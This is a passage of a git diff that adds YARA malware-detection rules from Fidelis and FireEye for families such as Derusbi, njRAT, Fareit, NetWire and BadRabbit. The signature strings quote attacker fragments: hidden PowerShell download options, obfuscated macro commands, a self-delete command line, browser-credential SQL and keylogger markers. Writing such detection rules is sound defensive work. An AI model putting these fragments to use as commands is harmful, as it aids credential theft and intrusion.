+	meta: 
+		author = "Fidelis Cybersecurity"
+		reference = "https://www.fidelissecurity.com/resources/turbo-campaign-featuring-derusbi-64-bit-linux" 
+	strings:
+		$byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
+	condition:
+		(uint32(0) == 0x464C457F) and (any of them)
+}
+
+
+
diff --git a/yara-mikesxrs/Fidelis/apt_nix_elf_Derusbi_Linux_Strings.yar b/yara-mikesxrs/Fidelis/apt_nix_elf_Derusbi_Linux_Strings.yar
new file mode 100644
index 0000000..4f08ba4
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/apt_nix_elf_Derusbi_Linux_Strings.yar
@@ -0,0 +1,28 @@
+rule apt_nix_elf_Derusbi_Linux_Strings
+{
+	meta: 
+		author = "Fidelis Cybersecurity"
+		reference = "https://www.fidelissecurity.com/resources/turbo-campaign-featuring-derusbi-64-bit-linux" 
+	strings:
+    	$a1 = "loadso" wide ascii fullword
+        	$a2 = "\nuname -a\n\n" wide ascii
+        	$a3 = "/dev/shm/.x11.id" wide ascii
+        	$a4 = "LxMain64" wide ascii nocase
+        	$a5 = "# \\u@\\h:\\w \\$ " wide ascii
+        	$b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
+        	$b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
+			$b3 = "ret %d" wide fullword
+        	$b4 = "uname -a\n\n" wide ascii
+        	$b5 = "/proc/%u/cmdline" wide ascii
+			$b6 = "/proc/self/exe" wide ascii
+			$b7 = "cp -a %s %s" wide ascii
+			$c1 = "/dev/pts/4" wide ascii fullword
+        	$c2 = "/tmp/1408.log" wide ascii fullword
+	condition:
+		uint32(0) == 0x464C457F and
+		((1 of ($a*) and 4 of ($b*)) or
+		(1 of ($a*) and 1 of ($c*)) or
+		2 of ($a*) or
+		all of ($b*))
+}
+
diff --git a/yara-mikesxrs/Fidelis/apt_nix_elf_derusbi.yar b/yara-mikesxrs/Fidelis/apt_nix_elf_derusbi.yar
new file mode 100644
index 0000000..3b78cdb
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/apt_nix_elf_derusbi.yar
@@ -0,0 +1,48 @@
+rule apt_nix_elf_derusbi
+{
+	meta: 
+		author = "Fidelis Cybersecurity"
+		reference = "https://www.fidelissecurity.com/resources/turbo-campaign-featuring-derusbi-64-bit-linux" 
+	strings:
+		$ = "LxMain"
+		$ = "execve"
+		$ = "kill"
+		$ = "cp -a %s %s"
+		$ = "%s &"
+		$ = "dbus-daemon"
+		$ = "--noprofile"
+		$ = "--norc"
+		$ = "TERM=vt100"
+		$ = "/proc/%u/cmdline"
+		$ = "loadso"
+		$ = "/proc/self/exe"
+		$ = "Proxy-Connection: Keep-Alive"
+		$ = "Connection: Keep-Alive"
+		$ = "CONNECT %s"
+		$ = "HOST: %s:%d"
+		$ = "User-Agent: Mozilla/4.0"
+		$ = "Proxy-Authorization: Basic %s"
+		$ = "Server: Apache"
+		$ = "Proxy-Authenticate"
+		$ = "gettimeofday"
+		$ = "pthread_create"
+		$ = "pthread_join"
+		$ = "pthread_mutex_init"
+		$ = "pthread_mutex_destroy"
+		$ = "pthread_mutex_lock"
+		$ = "getsockopt"
+		$ = "socket"
+		$ = "setsockopt"
+		$ = "select"
+		$ = "bind"
+		$ = "shutdown"
+		$ = "listen"
+		$ = "opendir"
+		$ = "readdir"
+		$ = "closedir"
+		$ = "rename"
+
+	condition:
+		(uint32(0) == 0x4464c457f) and (all of them)
+}
+
diff --git a/yara-mikesxrs/Fidelis/apt_nix_elf_derusbi_kernelModule.yar b/yara-mikesxrs/Fidelis/apt_nix_elf_derusbi_kernelModule.yar
new file mode 100644
index 0000000..f52e4ed
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/apt_nix_elf_derusbi_kernelModule.yar
@@ -0,0 +1,30 @@
+rule apt_nix_elf_derusbi_kernelModule
+{
+	meta: 
+		author = "Fidelis Cybersecurity"
+		reference = "https://www.fidelissecurity.com/resources/turbo-campaign-featuring-derusbi-64-bit-linux" 
+	strings:
+		$ = "__this_module"   
+		$ = "init_module"      
+		$ = "unhide_pid"       
+		$ = "is_hidden_pid"    
+		$ = "clear_hidden_pid" 
+		$ = "hide_pid"
+		$ = "license"
+		$ = "description"
+		$ = "srcversion="
+		$ = "depends="
+		$ = "vermagic="
+		$ = "current_task"
+		$ = "sock_release"
+		$ = "module_layout"
+		$ = "init_uts_ns"
+		$ = "init_net"
+		$ = "init_task"
+		$ = "filp_open"
+		$ = "__netlink_kernel_create"
+		$ = "kfree_skb"
+
+	condition:
+		(uint32(0) == 0x4464c457f) and (all of them)
+}
diff --git a/yara-mikesxrs/Fidelis/apt_win32_dll_bergard_pgv_pvid_variant.yar b/yara-mikesxrs/Fidelis/apt_win32_dll_bergard_pgv_pvid_variant.yar
new file mode 100644
index 0000000..6532e98
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/apt_win32_dll_bergard_pgv_pvid_variant.yar
@@ -0,0 +1,40 @@
+rule apt_win32_dll_bergard_pgv_pvid_variant
+
+{
+
+               meta:
+
+                               copyright = “Fidelis Cybersecurity�
+                               reference = "http://www.threatgeek.com/2016/05/"
+
+                strings:
+
+                                $ = "Accept:"
+
+                                $ = "User-Agent: %s"
+
+                                $ = "Host: %s:%d"
+
+                                $ = "Cache-Control: no-cache"
+
+                                $ = "Connection: Keep-Alive"
+
+                                $ = "Cookie: pgv_pvid="
+
+                                $ = "Content-Type: application/x-octet-stream"
+
+                                $ = "User-Agent: %s"
+
+                                $ = "Host: %s:%d"
+
+                                $ = "Pragma: no-cache"
+
+                                $ = "Connection: Keep-Alive"
+
+                                $ = "HTTP/1.0"
+
+                condition:
+
+                                (uint16(0) == 0x5A4D) and (all of them)
+
+        }
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/apt_win32_dll_rat_hiZorRAT.yar b/yara-mikesxrs/Fidelis/apt_win32_dll_rat_hiZorRAT.yar
new file mode 100644
index 0000000..08cf597
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/apt_win32_dll_rat_hiZorRAT.yar
@@ -0,0 +1,30 @@
+rule apt_win32_dll_rat_hiZorRAT
+{             
+               meta:
+                              hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
+                              hash2 = "d9821468315ccd3b9ea03161566ef18e"
+                              hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
+                              ref1 = "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
+                              ref2 = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
+                             
+               strings:
+                             
+                              // Part of the encoded User-Agent = Mozilla
+                              $ = { c7 [5] 40 00 62 00 c7 [5] 77 00 64 00 c7 [5] 61 00 61 00 c7 [5] 6c 00 } 
+                             
+                              // XOR to decode User-Agent after string stacking 0x10001630
+                              $ = { 66 [7] 0d 40 83 ?? ?? 7c ?? } 
+                             
+                              // XOR with 0x2E - 0x10002EF6
+                             
+                              $ = { 80 [2] 2e 40 3b ?? 72 ?? } 
+                             
+                              $ = "CmdProcessExited" wide ascii
+                              $ = "rootDir" wide ascii
+                              $ = "DllRegisterServer" wide ascii
+                              $ = "GetNativeSystemInfo" wide ascii
+                              $ = "%08x%08x%08x%08x" wide ascii
+                             
+               condition:
+                              (uint16(0) == 0x5A4D or uint32(0) == 0x4464c457f) and (all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/apt_win_exe_trojan_derusbi.yar b/yara-mikesxrs/Fidelis/apt_win_exe_trojan_derusbi.yar
new file mode 100644
index 0000000..2176cd6
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/apt_win_exe_trojan_derusbi.yar
@@ -0,0 +1,61 @@
+rule apt_win_exe_trojan_derusbi
+{
+	meta: 
+		author = "Fidelis Cybersecurity"
+		reference = "https://www.fidelissecurity.com/resources/turbo-campaign-featuring-derusbi-64-bit-linux" 
+   strings:
+	  $sa_1 = "USB" wide ascii
+	  $sa_2 = "RAM" wide ascii
+	  $sa_3 = "SHARE" wide ascii
+	  $sa_4 = "HOST: %s:%d"
+	  $sa_5 = "POST"
+	  $sa_6 = "User-Agent: Mozilla"
+	  $sa_7 = "Proxy-Connection: Keep-Alive"
+	  $sa_8 = "Connection: Keep-Alive"
+	  $sa_9 = "Server: Apache"
+	  $sa_10 = "HTTP/1.1"
+	  $sa_11 = "ImagePath"
+	  $sa_12 = "ZwUnloadDriver"
+	  $sa_13 = "ZwLoadDriver"
+	  $sa_14 = "ServiceMain"
+	  $sa_15 = "regsvr32.exe"
+	  $sa_16 = "/s /u" wide ascii
+	  $sa_17 = "rand"
+	  $sa_18 = "_time64"
+	  $sa_19 = "DllRegisterServer"
+	  $sa_20 = "DllUnregisterServer"
+	  $sa_21 = { 8b [5] 8b ?? d3 ?? 83 ?? 08 30 [5] 40 3b [5] 72 } // Decode Driver
+
+	  $sb_1 = "PCC_CMD_PACKET"
+	  $sb_2 = "PCC_CMD"
+	  $sb_3 = "PCC_BASEMOD"
+	  $sb_4 = "PCC_PROXY"
+	  $sb_5 = "PCC_SYS"
+	  $sb_6 = "PCC_PROCESS"
+	  $sb_7 = "PCC_FILE"
+	  $sb_8 = "PCC_SOCK"
+	 
+	  $sc_1 = "bcdedit -set testsigning" wide ascii
+	  $sc_2 = "update.microsoft.com" wide ascii
+	  $sc_3 = "_crt_debugger_hook" wide ascii
+	  $sc_4 = "ue8G5" wide ascii
+	 
+	  $sd_1 = "NET" wide ascii
+	  $sd_2 = "\\\\.\\pipe\\%s" wide ascii
+	  $sd_3 = ".dat" wide ascii
+	  $sd_4 = "CONNECT %s:%d" wide ascii
+	  $sd_5 = "\\Device\\" wide ascii
+	 
+	  $se_1 = "-%s-%04d" wide ascii
+	  $se_2 = "-%04d" wide ascii
+	  $se_3 = "FAL" wide ascii
+	  $se_4 = "OK" wide ascii
+	  $se_5 = "2.03" wide ascii
+	  $se_6 = "XXXXXXXXXXXXXXX" wide ascii
+
+   condition:
+	  (uint16(0) == 0x5A4D) and ( (all of ($sa_*)) or (
+		 (13 of ($sa_*)) and
+			( (5 of ($sb_*)) or (3 of ($sc_*)) or (all of ($sd_*)) or
+			   ( (1 of ($sc_*)) and (all of ($se_*)) ) ) ) )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/crime_win32_exe_rat_netwire.yar b/yara-mikesxrs/Fidelis/crime_win32_exe_rat_netwire.yar
new file mode 100644
index 0000000..0d4ee30
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/crime_win32_exe_rat_netwire.yar
@@ -0,0 +1,51 @@
+rule crime_win32_exe_rat_netwire{ 
+meta:
+       description = "AlienSpy"
+       author = "Fidelis Cybersecurity"
+       reference = "Fidelis Threat Advisory #1017 - Phishing in Plain Sight - June 9, 2015"
+       hash = "fd5a753347416484ab01712786c407c4" 
+
+strings:
+       $sa = "StubPath"
+       $sa = "CONNECT"
+       $sa = "200 OK"
+       $sa = "GET"
+       $sa = "Host"
+       $sa = "Connection"
+       $sa = "Firefox"
+       $sa = "Chrome"
+       $sa = "Opera"
+       $sa = "Outlook"
+       $sa = "NSS_Shutdown"
+       $sa = "NSSBase64_DecodeBuffer"
+       $sa = "NSS_Init"
+       $sa = "NSS_Shutdown"
+       $sa = "name" nocase
+       $sa = "password"
+       $sa = "Server"
+       $sa = "LANMANNT"
+       $sa = "SERVERNT"
+       $sa = "[Backspace]"
+       $sa = "[Enter]"
+       $sa = "[Tab]"
+       $sa = "[Print Screen]"
+       $sa = "mozsqlite"
+       $sa = "nssutil"
+       $sa = "sqlite"
+       $sa = "Email"
+       $sa = "POP3 User"
+       $sa = "POP3 Server"
+       $sa = "POP3 Password"
+       $sa = "IMAP User"
+       $sa = "IMAP Server"
+       $sa = "IMAP Password"
+       $sa = "HTTP User"
+       $sa = "HTTP Server"
+       $sa = "HTTP Password"
+       $sa = "SMTP User"
+       $sa = "SMTP Server"
+       $sa = "SMTP Password"
+       
+condition:
+       (uint16(0) == 0x5A4D) and (all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/crime_win_PWS_Fareit.yar b/yara-mikesxrs/Fidelis/crime_win_PWS_Fareit.yar
new file mode 100644
index 0000000..dedcbf6
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/crime_win_PWS_Fareit.yar
@@ -0,0 +1,28 @@
+rule crime_win_PWS_Fareit
+{
+meta:
+	description = "Fareit password stealer"
+	author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
+	reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1016_Pushdo.pdf"
+	date = "20150414"
+	filetype = "exe"
+	hash_1 = "e93799591429756b7a5ad6e44197c020"
+	hash_2 = "891823de9b05e17def459e04fb574f94"
+	hash_3 = "6e54267c787fc017a2b2cc5dc5273a0a"
+	hash_4 = "40165ee6b1d69c58d3c0d2f4701230fa"
+	hash_5 = "de3b206a8066db48e9d7b0a42d50c5cd"
+	hash_6 = "b988944f831c478f5a6d71f9e06fbc22"
+	hash_7 = "7b7584d86efa2df42fe504213a3d1d2c"
+	hash_8 = "f088b291af1a3710f99c33fa37f68602"
+strings:
+	$mz = {4d5a}
+ 	$s1 = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins"
+	$s2 = "gate.php"
+	$s3 = "STATUS-IMPORT-OK"
+	$s4 = "Client Hash"
+	$s5 = "YUIPWDFILE0YUIPKDFILE0YUICRYPTED0YUI1.0"
+	$c1 = "wiseftpsrvs.bin"
+	$c2 = "out.bin"
+condition:
+	$mz at 0 and filesize < 105KB and all of ($s*) and ($c1 or $c2)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/network_traffic_njRAT.yar b/yara-mikesxrs/Fidelis/network_traffic_njRAT.yar
new file mode 100644
index 0000000..e6fec5e
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/network_traffic_njRAT.yar
@@ -0,0 +1,47 @@
+rule network_traffic_njRAT 
+{
+meta:
+author = "info@fidelissecurity.com"
+descripion = "njRAT - Remote Access Trojan"
+comment = "Rule to alert on network traffic indicators"
+filetype = "PCAP - Network Traffic"
+date = "2013-07-15"
+version = "1.0"
+hash1 = "92ee1fb5df21d8cfafa2b02b6a25bd3b"
+hash2 ="3576d40ce18bb0349f9dfa42b8911c3a"
+hash3 ="24cc5b811a7f9591e7f2cb9a818be104"
+hash4 = "3ad5fded9d7fdf1c2f6102f4874b2d52"
+hash5 = "a98b4c99f64315aac9dd992593830f35"
+hash6 = "5fcb5282da1a2a0f053051c8da1686ef"
+hash7 = "a669c0da6309a930af16381b18ba2f9d"
+hash8 = "79dce17498e1997264346b162b09bde8"
+hash9 = "fc96a7e27b1d3dab715b2732d5c86f80"
+ref1 = "http://bit.ly/19tlf4s"
+ref2 = "http://www.fidelissecurity.com/threatadvisory"
+ref3 = "http://www.threatgeek.com/2013/06/fidelis-threat-advisory-1009-njrat-uncovered.html"
+ref4 = "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered.pdf"
+
+strings:
+$string1 = "FM|'|'|"     // File Manager
+$string2 = "nd|'|'|"     // File Manager
+$string3 = "rn|'|'|"      // Run File
+$string4 = "sc~|'|'|"     // Remote Desktop
+$string5 = "scPK|'|'|"     // Remote Desktop
+$string6 = "CAM|'|'|"     // Remote Cam
+$string7 = "USB Video Device[endof]" // Remote Cam
+$string8 = "rs|'|'|"     // Reverse Shell
+$string9 = "proc|'|'|"     // Process Manager
+$string10 = "k|'|'|"     // Process Manager
+$string11 = "RG|'|'|~|'|'|"    // Registry Manipulation
+$string12 = "kl|'|'|"     // Keylogger file
+$string13 = "ret|'|'|"     // Get Browser Passwords
+$string14 = "pl|'|'|"     // Get Browser Passwords
+$string15 = "lv|'|'|"     // General
+$string16 = "prof|'|'|~|'|'|"   // Server rename
+$string17 = "un|'|'|~[endof]"   // Uninstall
+$idle_string = "P[endof]"    // Idle Connection
+
+condition:
+any of ($string*) or #idle_string > 4  
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/win_exe_njRAT.yar b/yara-mikesxrs/Fidelis/win_exe_njRAT.yar
new file mode 100644
index 0000000..fce09d9
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/win_exe_njRAT.yar
@@ -0,0 +1,45 @@
+rule win_exe_njRAT 
+{
+meta:
+author = "info@fidelissecurity.com"
+descripion = "njRAT - Remote Access Trojan"
+comment = "Variants have also been observed obfuscated with .NET Reactor"
+filetype = "pe"
+date = "2013-07-15"
+version = "1.0"
+hash1 = "92ee1fb5df21d8cfafa2b02b6a25bd3b"
+hash2 = "3576d40ce18bb0349f9dfa42b8911c3a"
+hash3 = "24cc5b811a7f9591e7f2cb9a818be104"
+hash4 = "3ad5fded9d7fdf1c2f6102f4874b2d52"
+hash5 = "a98b4c99f64315aac9dd992593830f35"
+hash6 ="5fcb5282da1a2a0f053051c8da1686ef"
+hash7 = "a669c0da6309a930af16381b18ba2f9d"
+hash8 = "79dce17498e1997264346b162b09bde8"
+hash9 = "fc96a7e27b1d3dab715b2732d5c86f80"
+ref1 = "http://bit.ly/19tlf4s"
+ref2 = "http://www.fidelissecurity.com/threatadvisory"
+ref3 = "http://www.threatgeek.com/2013/06/fidelis-threat-advisory-1009-njratuncovered.html"
+ref4 = "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered.pdf"
+
+strings:
+$magic = "MZ"
+$string_setA_1 = "FromBase64String"
+$string_setA_2 = "Base64String"
+$string_setA_3 = "Connected" wide ascii
+$string_setA_4 = "Receive"
+$string_setA_5 = "DeleteSubKey" wide ascii
+$string_setA_6 = "get_MachineName"
+$string_setA_7 = "get_UserName"
+$string_setA_8 = "get_LastWriteTime"
+$string_setA_9 = "GetVolumeInformation"
+
+$string_setB_1 = "OSFullName" wide ascii
+$string_setB_2 = "Send" wide ascii
+$string_setB_3 = "Connected" wide ascii
+$string_setB_4 = "DownloadData" wide ascii
+$string_setB_5 = "netsh firewall" wide
+$string_setB_6 = "cmd.exe /k ping 0 & del" wide
+
+condition:
+($magic at 0) and ( all of ($string_setA*) or all of ($string_setB*) ) 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fidelis/win_vbs_rat_hworm.yara b/yara-mikesxrs/Fidelis/win_vbs_rat_hworm.yara
new file mode 100644
index 0000000..e63f4c3
--- /dev/null
+++ b/yara-mikesxrs/Fidelis/win_vbs_rat_hworm.yara
@@ -0,0 +1,128 @@
+rule win_vbs_rat_hworm
+
+{
+    meta:
+        author = "Fidelis Cybersecurity"
+        reference = "http://www.threatgeek.com/2016/11/down-the-h-w0rm-hole-with-houdinis-rat.html"
+    strings:
+
+                $sa1 = "CONFIG"
+
+        $sa2 = "MYCODE"
+
+        $sa3 = "SHELLOBJ.EXPANDENVIRONMENTSTRINGS"
+
+        $sa4 = "BASE64TOHEX"
+
+        $sa5 = "DCOM.VIRTUALALLOC"
+
+        $sa6 = "LOADER_"
+
+        $sa7 = "PE_PTR"
+
+        $sa8 = "OBJWMISERVICE.EXECQUERY"
+
+        $sa9 = "WSCRIPT.EXE" nocase
+
+        $sa10 = "FUNCTION"
+
+        $sa11 = "DIM"
+
+        $sa12 = "END SUB"
+
+                $sb1 = "HOST_FILE"
+
+        $sb2 = "FILE_NAME"
+
+        $sb3 = "INSTALL_DIR"
+
+        $sb4 = "START_UP_REG"
+
+        $sb5 = "START_UP_TASK"
+
+        $sb6 = "START_UP_FOLDER"
+
+        $sc1 = "DCOM_DATA"
+
+        $sc2 = "LOADER_DATA"
+
+        $sc3 = "FILE_DATA"
+
+        $sc4 = "(1)"
+
+        $sc5 = "(2)"
+
+        $sc6 = "(3)"
+
+        $sc7 = "FILE_SIZE"
+
+    condition:
+
+                (all of ($sa*)) and ( (all of ($sb*)) or (all of ($sc*)) )
+
+}
+
+rule win_exe_rat_hworm
+
+{
+    meta:
+        author = "Fidelis Cybersecurity"
+        reference = "http://www.threatgeek.com/2016/11/down-the-h-w0rm-hole-with-houdinis-rat.html"
+    strings:
+
+                $sa1 = "connection_host" wide ascii
+
+                $sa2 = "connection_port" wide ascii
+
+                $sa3 = "install_folder" wide ascii
+
+                $sa4 = "install_name" wide ascii
+
+                $sa5 = "nickname_id" wide ascii
+
+                $sa6 = "password" wide ascii
+
+                $sa7 = "injection" wide ascii
+
+                $sa8 = "startup_registry" wide ascii
+
+                $sa9 = "startup_folder" wide ascii
+
+                $sa10 = "startup_task" wide ascii
+
+                $sa11 = "process_name" wide ascii
+
+                $sa12 = "fkeylogger_host" wide ascii
+
+                $sa13 = "fkeylogger_port" wide ascii
+
+                $sa14 = "keylogger_init" wide ascii
+
+                $sa15 = "keylogger_offline" wide ascii
+
+                $sa16 = "file_manager" wide ascii
+
+                $sa17 = "usb" wide ascii
+
+                $sa18 = "password" wide ascii
+
+                $sa19 = "filemanager" wide ascii
+
+                $sa20 = "keylogger" wide ascii
+
+                $sa21 = "screenshot" wide ascii
+
+                $sa22 = "show" nocase wide ascii
+
+                $sa23 = "open" wide ascii
+
+                $sa25 = "create" wide ascii
+
+                $sa26 = "Self" wide ascii
+
+                $sa27 = "createsuspended" wide ascii
+
+    condition:
+
+                (uint16(0) == 0x5A4D) and (all of them)
+
diff --git a/yara-mikesxrs/Fireeye/APT19_LEGALSTRIKE_DOCUMENT.yara b/yara-mikesxrs/Fireeye/APT19_LEGALSTRIKE_DOCUMENT.yara
new file mode 100644
index 0000000..e73e61a
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/APT19_LEGALSTRIKE_DOCUMENT.yara
@@ -0,0 +1,113 @@
+rule FE_LEGALSTRIKE_MACRO {
+       meta:version=".1"
+       filetype="MACRO"
+       author="Ian.Ahl@fireeye.com @TekDefense"
+       date="2017-06-02"
+       description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
+       reference: https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
+strings:
+       // OBSFUCATION
+       $ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
+       $ob2 = "ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) & ChrW(110) & ChrW(32) & ChrW(47)" ascii wide
+       $ob3 = "ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115)" ascii wide
+       $ob4 = "ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) & ChrW(100) & ChrW(105) & ChrW(115)" ascii wide
+       $ob5 = "ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) & ChrW(98) & ChrW(117) & ChrW(110)" ascii wide
+       $ob6 = "ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(65) & ChrW(117) & ChrW(116)" ascii wide
+       $ob7 = "ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(32)" ascii wide
+       $ob8 = "ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) & ChrW(100) & ChrW(108) & ChrW(108)" ascii wide
+       $obreg1 = /(\w{5}\s&\s){7}\w{5}/
+       $obreg2 = /(Chrw\(\d{1,3}\)\s&\s){7}/
+       // wscript
+       $wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
+       $wsobj2 = "Obj.Run " ascii wide
+
+condition:
+        (
+              (
+                      (uint16(0) != 0x5A4D)
+              )
+              and
+              (
+                      all of ($wsobj*) and 3 of ($ob*)
+                      or
+                      all of ($wsobj*) and all of ($obreg*)
+              )
+       )
+}
+
+rule FE_LEGALSTRIKE_MACRO_2 {
+       meta:version=".1"
+       filetype="MACRO"
+       author="Ian.Ahl@fireeye.com @TekDefense"
+       date="2017-06-02"
+       description="This rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4."
+       reference: https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
+strings:
+       // Setting the environment
+       $env1 = "Arch = Environ(\"PROCESSOR_ARCHITECTURE\")" ascii wide
+       $env2 = "windir = Environ(\"windir\")" ascii wide
+       $env3 = "windir + \"\\syswow64\\windowspowershell\\v1.0\\powershell.exe\"" ascii wide
+       // powershell command fragments
+       $ps1 = "-NoP" ascii wide
+       $ps2 = "-NonI" ascii wide
+       $ps3 = "-W Hidden" ascii wide
+       $ps4 = "-Command" ascii wide
+       $ps5 = "New-Object IO.StreamReader" ascii wide
+       $ps6 = "IO.Compression.DeflateStream" ascii wide
+       $ps7 = "IO.MemoryStream" ascii wide
+       $ps8 = ",$([Convert]::FromBase64String" ascii wide
+       $ps9 = "ReadToEnd();" ascii wide
+       $psregex1 = /\W\w+\s+\s\".+\"/
+condition:
+       (
+              (
+                      (uint16(0) != 0x5A4D)
+              )
+              and
+              (
+                      all of ($env*) and 6 of ($ps*)
+                      or
+                      all of ($env*) and 4 of ($ps*) and all of ($psregex*)
+              )
+       )
+}
+
+rule FE_LEGALSTRIKE_RTF {
+    meta:
+        version=".1"
+        filetype="MACRO"
+        author="joshua.kim@FireEye.com"
+        date="2017-06-02"
+        description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"
+        reference: https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html
+
+    strings:
+        $header = "{\\rt"
+
+        $lnkinfo = "4c0069006e006b0049006e0066006f"
+
+        $encoded1 = "4f4c45324c696e6b"
+        $encoded2 = "52006f006f007400200045006e007400720079"
+        $encoded3 = "4f0062006a0049006e0066006f"
+        $encoded4 = "4f006c0065"
+
+        $http1 = "68{"
+        $http2 = "74{"
+        $http3 = "07{"
+
+        // 2bunny.com
+        $domain1 = "32{\\"
+        $domain2 = "62{\\"
+        $domain3 = "75{\\"
+        $domain4 = "6e{\\"
+        $domain5 = "79{\\"
+        $domain6 = "2e{\\"
+        $domain7 = "63{\\"
+        $domain8 = "6f{\\"
+        $domain9 = "6d{\\"
+
+        $datastore = "\\*\\datastore"
+
+    condition:
+        $header at 0 and all of them
+}
diff --git a/yara-mikesxrs/Fireeye/APT32_ActiveMime_Lure.yar b/yara-mikesxrs/Fireeye/APT32_ActiveMime_Lure.yar
new file mode 100644
index 0000000..5e6d569
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/APT32_ActiveMime_Lure.yar
@@ -0,0 +1,18 @@
+rule APT32_ActiveMime_Lure{
+	meta:
+		filetype = "MIME entity"
+		author = "Ian Ahl (@TekDefense) and Nick Carr (@ItsReallyNick)"
+		date = "2017-03-02"
+		description = "Developed to detect APT32 (OceanLotus Group phishing lures used to target Fireeye Customers in 2016 and 2017"
+		reference = "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
+	strings:
+		$a1 = "office_text" wide ascii
+		$a2 = "schtasks /create /tn" wide ascii
+		$a3 = "scrobj.dll" wide ascii
+		$a4 = "new-object net.webclient" wide ascii
+		$a5 = "GetUserName" wide ascii
+		$a6 = "WSHnet.UserDomain" wide ascii
+		$a7 = "WSHnet.UserName" wide ascii
+	condition:
+		4 of them
+}
diff --git a/yara-mikesxrs/Fireeye/APT_DeputyDog_Strings.yar b/yara-mikesxrs/Fireeye/APT_DeputyDog_Strings.yar
new file mode 100644
index 0000000..9dc50a2
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/APT_DeputyDog_Strings.yar
@@ -0,0 +1,20 @@
+rule APT_DeputyDog_Strings
+{
+
+	meta:
+
+		author = "FireEye Labs"
+		version = "1.0"
+		description = "detects string seen in samples used in 2013-3893 0day attacks"
+		reference = "8aba4b5184072f2a50cbc5ecfe326701"
+
+	strings:
+
+		$mz = {4d 5a}
+		$a = "DGGYDSYRL"
+
+	condition:
+
+		($mz at 0) and $a
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Fireeye/BadRabbit.yar b/yara-mikesxrs/Fireeye/BadRabbit.yar
new file mode 100644
index 0000000..6d610f3
--- /dev/null
+++ b/yara-mikesxrs/Fireeye/BadRabbit.yar
@@ -0,0 +1,120 @@
+rule FE_Hunting_BADRABBIT {
+        meta:version=".2"
+        filetype="PE"
+        author="ian.ahl @TekDefense & nicholas.carr @itsreallynick"
+        reference = "https://www.fireeye.com/blog/threat-research/2017/10/backswing-pulling-a-badrabbit-out-of-a-hat.html"
+        date="2017-10-24"
+        md5 = "b14d8faf7f0cbcfad051cefe5f39645f"
+strings:
+        // Messages
+        $msg1 = "Incorrect password" nocase ascii wide
+        $msg2 = "Oops! Your files have been encrypted." ascii wide
+        $msg3 = "If you see this text, your files are no longer accessible." ascii wide
+        $msg4 = "You might have been looking for a way to recover your files." ascii wide
+        $msg5 = "Don't waste your time. No one will be able to recover them without our" ascii wide
+        $msg6 = "Visit our web service at" ascii wide
+        $msg7 = "Your personal installation key#1:" ascii wide
+        $msg8 = "Run DECRYPT app at your desktop after system boot" ascii wide
+        $msg9 = "Password#1" nocase ascii wide
+        $msg10 = "caforssztxqzf2nm.onion" nocase ascii wide
+        $msg11 = /partition (unbootable|not (found|mounted))/ nocase ascii wide
+
+        // File references
+        $fref1 = "C:\\Windows\\cscc.dat" nocase ascii wide
+        $fref2 = "\\\\.\\dcrypt" nocase ascii wide
+        $fref3 = "Readme.txt" ascii wide
